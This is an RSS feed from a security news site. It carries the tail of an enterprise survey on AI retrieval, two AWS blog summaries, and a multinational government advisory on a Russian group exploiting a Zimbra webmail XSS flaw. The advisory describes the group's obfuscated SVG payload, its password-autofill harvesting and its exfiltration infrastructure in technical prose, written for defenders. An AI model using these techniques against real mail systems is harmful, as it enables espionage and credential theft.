expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Building trade assistant: How Jefferies optimized front office trading operations with AI]]></title>
<description><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs)...]]></description>
<link>https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs), Amazon Bedrock, and Amazon Bedrock Knowledge Bases. It also uses Model Context Protocol (MCP), an open standard that helps AI agents securely connect to diverse data sources and tools through a unified interface. We cover the solution overview, the rationale for selecting the underlying technology stack, lessons learned, and the business impact the solution created at Jefferies.]]></content:encoded>
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<title><![CDATA[Agentic retrieval for Amazon Bedrock Managed Knowledge Base]]></title>
<description><![CDATA[This post focuses on why classic retrieval falls short on multi-part questions, how the AgenticRetrieveStream API works (including request construction and trace parsing), and when to choose it over the standard Retrieve API.]]></description>
<link>https://tsecurity.de/de/3689701/ai-nachrichten/agentic-retrieval-for-amazon-bedrock-managed-knowledge-base/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689701/ai-nachrichten/agentic-retrieval-for-amazon-bedrock-managed-knowledge-base/</guid>
<pubDate>Thu, 23 Jul 2026 18:37:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This post focuses on why classic retrieval falls short on multi-part questions, how the AgenticRetrieveStream API works (including request construction and trace parsing), and when to choose it over the standard Retrieve API.]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
